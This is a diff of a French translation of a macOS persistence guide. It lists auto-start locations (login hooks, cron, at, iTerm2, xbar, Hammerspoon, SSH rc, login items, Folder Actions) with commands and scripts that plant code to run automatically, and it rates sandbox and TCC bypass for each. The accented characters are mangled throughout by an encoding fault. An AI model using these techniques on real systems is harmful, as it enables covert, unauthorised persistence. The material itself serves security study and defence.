lorsque vous **dĂ©clenchez l'aperçu d'un fichier** (appuyez sur la barre d'espace avec le fichier sĂ©lectionnĂ© dans le Finder) et qu'un **plugin prenant en charge ce type de fichier** est installĂ©. -Il est possible de compiler votre propre plugin QuickLook, de le placer dans l'un des emplacements prĂ©cĂ©dents pour le charger, puis d'aller sur un fichier pris en charge et d'appuyer sur espace pour le dĂ©clencher. +Il est possible de compiler votre propre plugin QuickLook, de le placer dans l'un des emplacements prĂ©cĂ©dents pour le charger, puis d'aller Ă  un fichier pris en charge et d'appuyer sur la barre d'espace pour le dĂ©clencher. ### ~~Hooks de Connexion/DĂ©connexion~~ {% hint style="danger" %} -Cela n'a pas fonctionnĂ© pour moi, ni avec le LoginHook utilisateur ni avec le LogoutHook root +Cela n'a pas fonctionnĂ© pour moi, ni avec le LoginHook de l'utilisateur ni avec le LogoutHook root {% endhint %} -**Writeup** : [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) +**Écriture** : [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement -* Vous devez ĂȘtre capable d'exĂ©cuter quelque chose comme `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` -* SituĂ© dans `~/Library/Preferences/com.apple.loginwindow.plist` +* Vous devez ĂȘtre en mesure d'exĂ©cuter quelque chose comme `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` +* `Lo`calisĂ© dans `~/Library/Preferences/com.apple.loginwindow.plist` Ils sont obsolĂštes mais peuvent ĂȘtre utilisĂ©s pour exĂ©cuter des commandes lorsqu'un utilisateur se connecte. ```bash @@ -378,7 +378,7 @@ chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` -Cette configuration est stockĂ©e dans `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` +Ce paramĂštre est stockĂ© dans `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { @@ -395,45 +395,45 @@ Pour le supprimer : defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` -Le fichier de l'utilisateur root est stockĂ© dans **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** +L'utilisateur root est stockĂ© dans **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** -## Contournement conditionnel du bac Ă  sable +## Contournement de Sandbox Conditionnel {% hint style="success" %} -Ici, vous pouvez trouver des emplacements de dĂ©marrage utiles pour le **contournement du bac Ă  sable** qui vous permet d'exĂ©cuter simplement quelque chose en **l'Ă©crivant dans un fichier** et **en ne s'attendant pas Ă  des conditions super communes** comme des **programmes spĂ©cifiques installĂ©s, des actions ou environnements d'utilisateur "non communs". +Ici, vous pouvez trouver des emplacements de dĂ©marrage utiles pour **le contournement de sandbox** qui vous permet d'exĂ©cuter simplement quelque chose en **l'Ă©crivant dans un fichier** et en **attendant des conditions pas trĂšs courantes** comme des **programmes spĂ©cifiques installĂ©s, des actions d'utilisateur "inhabituelles"** ou des environnements. {% endhint %} ### Cron -**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) +**Écriture**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) -* Utile pour contourner le bac Ă  sable: [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner la sandbox: [✅](https://emojipedia.org/check-mark-button) * Cependant, vous devez ĂȘtre capable d'exĂ©cuter le binaire `crontab` * Ou ĂȘtre root -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Contournement TCC: [🔮](https://emojipedia.org/large-red-circle) #### Emplacement * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** -* AccĂšs en Ă©criture directe nĂ©cessite les droits root. Pas besoin de droits root si vous pouvez exĂ©cuter `crontab ` -* **DĂ©clencheur**: DĂ©pend de la tĂąche cron +* Root requis pour un accĂšs en Ă©criture direct. Pas de root requis si vous pouvez exĂ©cuter `crontab ` +* **DĂ©clencheur**: DĂ©pend du travail cron -#### Description et exploitation +#### Description & Exploitation -Listez les tĂąches cron de l'**utilisateur actuel** avec: +Listez les travaux cron de l'**utilisateur actuel** avec: ```bash crontab -l ``` -Vous pouvez Ă©galement voir tous les travaux cron des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nĂ©cessite des privilĂšges root). +Vous pouvez Ă©galement voir tous les cron jobs des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nĂ©cessite des droits root). -Dans MacOS, plusieurs dossiers exĂ©cutant des scripts Ă  **certaine frĂ©quence** peuvent ĂȘtre trouvĂ©s dans : +Dans MacOS, plusieurs dossiers exĂ©cutant des scripts avec **certaines frĂ©quences** peuvent ĂȘtre trouvĂ©s dans : ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` -LĂ , vous pouvez trouver les **tĂąches cron** rĂ©guliĂšres, les **tĂąches at** (peu utilisĂ©es) et les **tĂąches pĂ©riodiques** (principalement utilisĂ©es pour nettoyer les fichiers temporaires). Les tĂąches pĂ©riodiques quotidiennes peuvent ĂȘtre exĂ©cutĂ©es par exemple avec : `periodic daily`. +LĂ , vous pouvez trouver les **cron** **jobs** rĂ©guliers, les **at** **jobs** (pas trĂšs utilisĂ©s) et les **periodic** **jobs** (principalement utilisĂ©s pour nettoyer les fichiers temporaires). Les **periodic** **jobs** quotidiens peuvent ĂȘtre exĂ©cutĂ©s par exemple avec : `periodic daily`. -Pour ajouter un **cronjob utilisateur de maniĂšre programatique**, il est possible d'utiliser : +Pour ajouter un **user cronjob programmatically**, il est possible d'utiliser : ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron @@ -442,22 +442,22 @@ crontab /tmp/cron Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/) -* Utile pour contourner le bac Ă  sable: [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button) -* iTerm2 utilisĂ© pour accorder des autorisations TCC +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +* iTerm2 avait des autorisations TCC accordĂ©es #### Emplacements * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** -* **DĂ©clencheur**: Ouvrir iTerm +* **DĂ©clencheur** : Ouvrir iTerm * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** -* **DĂ©clencheur**: Ouvrir iTerm +* **DĂ©clencheur** : Ouvrir iTerm * **`~/Library/Preferences/com.googlecode.iterm2.plist`** -* **DĂ©clencheur**: Ouvrir iTerm +* **DĂ©clencheur** : Ouvrir iTerm #### Description & Exploitation -Les scripts stockĂ©s dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exĂ©cutĂ©s. Par exemple: +Les scripts stockĂ©s dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exĂ©cutĂ©s. Par exemple : ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -466,19 +466,7 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` -### macOS Auto Start Locations - -#### Launch Agents - -Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`. - -#### Launch Daemons - -Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`. - -#### Login Items - -Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`. +ou : ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 @@ -495,11 +483,11 @@ await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` -Le script **`~/BibliothĂšque/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** sera Ă©galement exĂ©cutĂ©: +Le script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** sera Ă©galement exĂ©cutĂ© : ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` -Le fichier de prĂ©fĂ©rences iTerm2 situĂ© dans **`~/Library/Preferences/com.googlecode.iterm2.plist`** peut **indiquer une commande Ă  exĂ©cuter** lorsque le terminal iTerm2 est ouvert. +Les prĂ©fĂ©rences d'iTerm2 situĂ©es dans **`~/Library/Preferences/com.googlecode.iterm2.plist`** peuvent **indiquer une commande Ă  exĂ©cuter** lorsque le terminal iTerm2 est ouvert. Ce paramĂštre peut ĂȘtre configurĂ© dans les paramĂštres d'iTerm2 : @@ -515,7 +503,7 @@ plutil -p com.googlecode.iterm2.plist [...] "Initial Text" => "touch /tmp/iterm-start-command" ``` -Vous pouvez dĂ©finir la commande Ă  exĂ©cuter avec : +Vous pouvez dĂ©finir la commande Ă  exĂ©cuter avec : {% code overflow="wrap" %} ```bash @@ -536,21 +524,21 @@ Il est trĂšs probable qu'il existe **d'autres moyens d'abuser des prĂ©fĂ©rences ### xbar -Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/) -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) * Mais xbar doit ĂȘtre installĂ© -* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button) +* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) * Il demande des autorisations d'accessibilitĂ© #### Emplacement * **`~/Library/Application\ Support/xbar/plugins/`** -* **DĂ©clencheur** : Une fois que xbar est exĂ©cutĂ© +* **DĂ©clencheur** : Une fois xbar exĂ©cutĂ© #### Description -Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installĂ©, il est possible d'Ă©crire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exĂ©cutĂ© lorsque xbar est dĂ©marrĂ©: +Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installĂ©, il est possible d'Ă©crire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exĂ©cutĂ© lorsque xbar sera dĂ©marrĂ© : ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -562,21 +550,21 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/) -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) * Mais Hammerspoon doit ĂȘtre installĂ© -* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button) +* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) * Il demande des autorisations d'accessibilitĂ© -#### Emplacement +#### Location * **`~/.hammerspoon/init.lua`** -* **DĂ©clencheur** : Une fois que Hammerspoon est exĂ©cutĂ© +* **DĂ©clencheur** : Une fois Hammerspoon exĂ©cutĂ© #### Description -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) sert de plateforme d'automatisation pour **macOS**, exploitant le langage de script **LUA** pour ses opĂ©rations. Notamment, il prend en charge l'intĂ©gration de code AppleScript complet et l'exĂ©cution de scripts shell, amĂ©liorant ainsi considĂ©rablement ses capacitĂ©s de script. +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) sert de plateforme d'automatisation pour **macOS**, tirant parti du **langage de script LUA** pour ses opĂ©rations. Notamment, il prend en charge l'intĂ©gration de code AppleScript complet et l'exĂ©cution de scripts shell, amĂ©liorant considĂ©rablement ses capacitĂ©s de script. -L'application recherche un seul fichier, `~/.hammerspoon/init.lua`, et lorsque le script est lancĂ©, il sera exĂ©cutĂ©. +L'application recherche un seul fichier, `~/.hammerspoon/init.lua`, et lorsque dĂ©marrĂ©, le script sera exĂ©cutĂ©. ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF @@ -585,49 +573,49 @@ EOF ``` ### BetterTouchTool -* Utile pour contourner le bac Ă  sable: [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) * Mais BetterTouchTool doit ĂȘtre installĂ© -* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button) -* Il demande les autorisations Automation-Shortcuts et AccessibilitĂ© +* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +* Il demande des autorisations d'Automatisation-Courtes et d'AccessibilitĂ© -#### Emplacement +#### Location * `~/Library/Application Support/BetterTouchTool/*` -Cet outil permet d'indiquer des applications ou des scripts Ă  exĂ©cuter lorsque certaines combinaisons de touches sont pressĂ©es. Un attaquant pourrait configurer sa propre **combinaison de touches et action Ă  exĂ©cuter dans la base de donnĂ©es** pour exĂ©cuter du code arbitraire (une combinaison de touches pourrait consister simplement Ă  appuyer sur une touche). +Cet outil permet d'indiquer des applications ou des scripts Ă  exĂ©cuter lorsque certains raccourcis sont pressĂ©s. Un attaquant pourrait ĂȘtre en mesure de configurer son propre **raccourci et action Ă  exĂ©cuter dans la base de donnĂ©es** pour exĂ©cuter du code arbitraire (un raccourci pourrait simplement consister Ă  appuyer sur une touche). ### Alfred -* Utile pour contourner le bac Ă  sable: [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) * Mais Alfred doit ĂȘtre installĂ© -* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button) -* Il demande les autorisations Automation, AccessibilitĂ© et mĂȘme AccĂšs complet au disque +* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +* Il demande des autorisations d'Automatisation, d'AccessibilitĂ© et mĂȘme d'accĂšs complet au disque -#### Emplacement +#### Location * `???` -Il permet de crĂ©er des workflows qui peuvent exĂ©cuter du code lorsque certaines conditions sont remplies. Potentiellement, il est possible pour un attaquant de crĂ©er un fichier de workflow et de le faire charger par Alfred (il est nĂ©cessaire de payer la version premium pour utiliser des workflows). +Il permet de crĂ©er des flux de travail qui peuvent exĂ©cuter du code lorsque certaines conditions sont remplies. Potentiellement, il est possible pour un attaquant de crĂ©er un fichier de flux de travail et de faire charger ce fichier par Alfred (il est nĂ©cessaire de payer la version premium pour utiliser les flux de travail). ### SSHRC -Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) -* Utile pour contourner le bac Ă  sable: [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) * Mais ssh doit ĂȘtre activĂ© et utilisĂ© -* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button) -* SSH a besoin d'un accĂšs complet au disque +* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +* L'utilisation de SSH nĂ©cessite un accĂšs FDA -#### Emplacement +#### Location * **`~/.ssh/rc`** -* **DĂ©clencheur**: Connexion via ssh +* **DĂ©clencheur** : Connexion via ssh * **`/etc/ssh/sshrc`** -* NĂ©cessite les droits root -* **DĂ©clencheur**: Connexion via ssh +* AccĂšs root requis +* **DĂ©clencheur** : Connexion via ssh {% hint style="danger" %} -Pour activer ssh, un accĂšs complet au disque est requis: +Pour activer ssh, un accĂšs complet au disque est requis : ```bash sudo systemsetup -setremotelogin on ``` @@ -635,29 +623,29 @@ sudo systemsetup -setremotelogin on #### Description & Exploitation -Par dĂ©faut, sauf si `PermitUserRC no` dans `/etc/ssh/sshd_config`, lorsque **un utilisateur se connecte via SSH**, les scripts **`/etc/ssh/sshrc`** et **`~/.ssh/rc`** seront exĂ©cutĂ©s. +Par dĂ©faut, Ă  moins que `PermitUserRC no` dans `/etc/ssh/sshd_config`, lorsque un utilisateur **se connecte via SSH**, les scripts **`/etc/ssh/sshrc`** et **`~/.ssh/rc`** seront exĂ©cutĂ©s. ### **ÉlĂ©ments de connexion** -Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/) -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) * Mais vous devez exĂ©cuter `osascript` avec des arguments -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacements * **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** * **DĂ©clencheur :** Connexion -* Charge utile d'exploitation stockĂ©e en appelant **`osascript`** +* Charge utile d'exploitation stockĂ©e appelant **`osascript`** * **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** * **DĂ©clencheur :** Connexion -* NĂ©cessite les droits root +* Root requis #### Description -Dans PrĂ©fĂ©rences SystĂšme -> Utilisateurs et groupes -> **ÉlĂ©ments de connexion**, vous pouvez trouver **les Ă©lĂ©ments Ă  exĂ©cuter lorsque l'utilisateur se connecte**.\ -Il est possible de les lister, d'en ajouter et d'en supprimer depuis la ligne de commande : +Dans PrĂ©fĂ©rences SystĂšme -> Utilisateurs et groupes -> **ÉlĂ©ments de connexion**, vous pouvez trouver **des Ă©lĂ©ments Ă  exĂ©cuter lorsque l'utilisateur se connecte**.\ +Il est possible de les lister, d'ajouter et de supprimer depuis la ligne de commande : ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -670,33 +658,33 @@ osascript -e 'tell application "System Events" to delete login item "itemname"' ``` Ces Ă©lĂ©ments sont stockĂ©s dans le fichier **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** -Les **Ă©lĂ©ments de connexion** peuvent Ă©galement ĂȘtre indiquĂ©s en utilisant l'API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) qui stockera la configuration dans **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** +Les **Ă©lĂ©ments de connexion** peuvent **Ă©galement** ĂȘtre indiquĂ©s en utilisant l'API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) qui stockera la configuration dans **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** ### ZIP en tant qu'Ă©lĂ©ment de connexion -(VĂ©rifiez la section prĂ©cĂ©dente sur les Ă©lĂ©ments de connexion, ceci est une extension) +(Voir la section prĂ©cĂ©dente sur les Ă©lĂ©ments de connexion, c'est une extension) -Si vous stockez un fichier **ZIP** en tant qu'**Ă©lĂ©ment de connexion**, l'**`Archive Utility`** l'ouvrira et si le zip Ă©tait par exemple stockĂ© dans **`~/Library`** et contenait le dossier **`LaunchAgents/file.plist`** avec une porte dĂ©robĂ©e, ce dossier sera crĂ©Ă© (ce n'est pas le cas par dĂ©faut) et le plist sera ajoutĂ© afin que la prochaine fois que l'utilisateur se connecte, la **porte dĂ©robĂ©e indiquĂ©e dans le plist sera exĂ©cutĂ©e**. +Si vous stockez un fichier **ZIP** en tant qu'**Ă©lĂ©ment de connexion**, l'**`Archive Utility`** l'ouvrira et si le zip Ă©tait par exemple stockĂ© dans **`~/Library`** et contenait le dossier **`LaunchAgents/file.plist`** avec un backdoor, ce dossier sera crĂ©Ă© (il ne l'est pas par dĂ©faut) et le plist sera ajoutĂ©, donc la prochaine fois que l'utilisateur se connectera, le **backdoor indiquĂ© dans le plist sera exĂ©cutĂ©**. -Une autre option serait de crĂ©er les fichiers **`.bash_profile`** et **`.zshenv`** Ă  l'intĂ©rieur du rĂ©pertoire de l'utilisateur afin que si le dossier LaunchAgents existe dĂ©jĂ , cette technique fonctionnerait toujours. +Une autre option serait de crĂ©er les fichiers **`.bash_profile`** et **`.zshenv`** dans le HOME de l'utilisateur, donc si le dossier LaunchAgents existe dĂ©jĂ , cette technique fonctionnerait toujours. ### At -Analyse : [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) * Mais vous devez **exĂ©cuter** **`at`** et il doit ĂȘtre **activĂ©** -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement -* Besoin d'**exĂ©cuter** **`at`** et il doit ĂȘtre **activĂ©** +* Besoin de **exĂ©cuter** **`at`** et il doit ĂȘtre **activĂ©** #### **Description** -Les tĂąches `at` sont conçues pour **planifier des tĂąches ponctuelles** Ă  exĂ©cuter Ă  des moments prĂ©cis. Contrairement aux tĂąches cron, les tĂąches `at` sont automatiquement supprimĂ©es aprĂšs l'exĂ©cution. Il est crucial de noter que ces tĂąches persistent Ă  travers les redĂ©marrages du systĂšme, ce qui les classe comme des prĂ©occupations de sĂ©curitĂ© potentielles dans certaines conditions. +Les tĂąches `at` sont conçues pour **planifier des tĂąches uniques** Ă  exĂ©cuter Ă  certains moments. Contrairement aux tĂąches cron, les tĂąches `at` sont automatiquement supprimĂ©es aprĂšs exĂ©cution. Il est crucial de noter que ces tĂąches persistent Ă  travers les redĂ©marrages du systĂšme, les marquant comme des prĂ©occupations potentielles en matiĂšre de sĂ©curitĂ© dans certaines conditions. -Par **dĂ©faut**, elles sont **dĂ©sactivĂ©es** mais l'utilisateur **root** peut les **activer** avec : +Par **dĂ©faut**, elles sont **dĂ©sactivĂ©es** mais l'utilisateur **root** peut **les activer** avec : ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` @@ -704,13 +692,13 @@ Cela crĂ©era un fichier dans 1 heure : ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` -VĂ©rifiez la file d'attente des tĂąches en utilisant `atq`: +VĂ©rifiez la file d'attente des tĂąches en utilisant `atq:` ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` -Ci-dessus, nous pouvons voir deux tĂąches planifiĂ©es. Nous pouvons imprimer les dĂ©tails de la tĂąche en utilisant `at -c NUMÉRODETÂCHE` +Au-dessus, nous pouvons voir deux tĂąches planifiĂ©es. Nous pouvons imprimer les dĂ©tails de la tĂąche en utilisant `at -c JOBNUMBER` ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -745,7 +733,7 @@ echo 11 > /tmp/at.txt Si les tĂąches AT ne sont pas activĂ©es, les tĂąches crĂ©Ă©es ne seront pas exĂ©cutĂ©es. {% endhint %} -Les **fichiers de tĂąches** peuvent ĂȘtre trouvĂ©s Ă  `/private/var/at/jobs/` +Les **fichiers de travail** peuvent ĂȘtre trouvĂ©s Ă  `/private/var/at/jobs/` ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 @@ -754,44 +742,44 @@ total 32 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` -Le nom de fichier contient la file d'attente, le numĂ©ro de tĂąche et l'heure Ă  laquelle elle est programmĂ©e pour s'exĂ©cuter. Par exemple, examinons `a0001a019bdcd2`. +Le nom de fichier contient la file d'attente, le numĂ©ro de travail et l'heure Ă  laquelle il est prĂ©vu de s'exĂ©cuter. Par exemple, prenons un aperçu de `a0001a019bdcd2`. * `a` - c'est la file d'attente -* `0001a` - numĂ©ro de tĂąche en hexadĂ©cimal, `0x1a = 26` -* `019bdcd2` - heure en hexadĂ©cimal. Il reprĂ©sente les minutes Ă©coulĂ©es depuis l'Ă©poque. `0x019bdcd2` est `26991826` en dĂ©cimal. Si nous le multiplions par 60, nous obtenons `1619509560`, qui est `GMT: 2021. April 27., Tuesday 7:46:00`. +* `0001a` - numĂ©ro de travail en hexadĂ©cimal, `0x1a = 26` +* `019bdcd2` - temps en hexadĂ©cimal. Il reprĂ©sente les minutes Ă©coulĂ©es depuis l'Ă©poque. `0x019bdcd2` est `26991826` en dĂ©cimal. Si nous le multiplions par 60, nous obtenons `1619509560`, qui est `GMT : 27 avril 2021, mardi 7:46:00`. -Si nous imprimons le fichier de tĂąche, nous constatons qu'il contient les mĂȘmes informations que celles obtenues en utilisant `at -c`. +Si nous imprimons le fichier de travail, nous constatons qu'il contient les mĂȘmes informations que celles obtenues en utilisant `at -c`. -### Actions de Dossier +### Actions de dossier -Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ -Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ +Écriture : [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -* Utile pour contourner le bac Ă  sable: [✅](https://emojipedia.org/check-mark-button) -* Mais vous devez ĂȘtre capable d'appeler `osascript` avec des arguments pour contacter **`System Events`** afin de pouvoir configurer les Actions de Dossier -* Contournement de TCC: [🟠](https://emojipedia.org/large-orange-circle) +* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) +* Mais vous devez ĂȘtre en mesure d'appeler `osascript` avec des arguments pour contacter **`System Events`** afin de pouvoir configurer les Actions de dossier +* Contournement TCC : [🟠](https://emojipedia.org/large-orange-circle) * Il a quelques autorisations TCC de base comme Bureau, Documents et TĂ©lĂ©chargements #### Emplacement * **`/Library/Scripts/Folder Action Scripts`** -* NĂ©cessite les droits d'administrateur -* **DĂ©clencheur**: AccĂšs au dossier spĂ©cifiĂ© +* Root requis +* **DĂ©clencheur** : AccĂšs au dossier spĂ©cifiĂ© * **`~/Library/Scripts/Folder Action Scripts`** -* **DĂ©clencheur**: AccĂšs au dossier spĂ©cifiĂ© +* **DĂ©clencheur** : AccĂšs au dossier spĂ©cifiĂ© #### Description & Exploitation -Les Actions de Dossier sont des scripts dĂ©clenchĂ©s automatiquement par des changements dans un dossier tels que l'ajout, la suppression d'Ă©lĂ©ments, ou d'autres actions comme l'ouverture ou le redimensionnement de la fenĂȘtre du dossier. Ces actions peuvent ĂȘtre utilisĂ©es pour diverses tĂąches et peuvent ĂȘtre dĂ©clenchĂ©es de diffĂ©rentes maniĂšres, comme en utilisant l'interface Finder ou des commandes terminal. +Les Actions de dossier sont des scripts automatiquement dĂ©clenchĂ©s par des changements dans un dossier tels que l'ajout, la suppression d'Ă©lĂ©ments ou d'autres actions comme l'ouverture ou le redimensionnement de la fenĂȘtre du dossier. Ces actions peuvent ĂȘtre utilisĂ©es pour diverses tĂąches et peuvent ĂȘtre dĂ©clenchĂ©es de diffĂ©rentes maniĂšres, comme en utilisant l'interface Finder ou des commandes terminal. -Pour configurer des Actions de Dossier, vous avez des options comme: +Pour configurer les Actions de dossier, vous avez des options comme : -1. CrĂ©er un flux de travail d'Action de Dossier avec [Automator](https://support.apple.com/guide/automator/welcome/mac) et l'installer en tant que service. -2. Attacher un script manuellement via la Configuration des Actions de Dossier dans le menu contextuel d'un dossier. -3. Utiliser OSAScript pour envoyer des messages d'Ă©vĂ©nements Apple Ă  l'application `System Events.app` pour configurer de maniĂšre programmatique une Action de Dossier. +1. CrĂ©er un flux de travail d'Action de dossier avec [Automator](https://support.apple.com/guide/automator/welcome/mac) et l'installer en tant que service. +2. Attacher un script manuellement via la configuration des Actions de dossier dans le menu contextuel d'un dossier. +3. Utiliser OSAScript pour envoyer des messages Apple Event Ă  `System Events.app` pour configurer programmĂ©tiquement une Action de dossier. * Cette mĂ©thode est particuliĂšrement utile pour intĂ©grer l'action dans le systĂšme, offrant un niveau de persistance. -Le script suivant est un exemple de ce qui peut ĂȘtre exĂ©cutĂ© par une Action de Dossier: +Le script suivant est un exemple de ce qui peut ĂȘtre exĂ©cutĂ© par une Action de dossier : ```applescript // source.js var app = Application.currentApplication(); @@ -801,11 +789,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` -Pour rendre le script ci-dessus utilisable par les actions de dossier, compilez-le en utilisant : +Pour rendre le script ci-dessus utilisable par les Actions de Dossier, compilez-le en utilisant : ```bash osacompile -l JavaScript -o folder.scpt source.js ``` -AprĂšs la compilation du script, configurez les Actions de dossier en exĂ©cutant le script ci-dessous. Ce script activera les Actions de dossier de maniĂšre globale et attachera 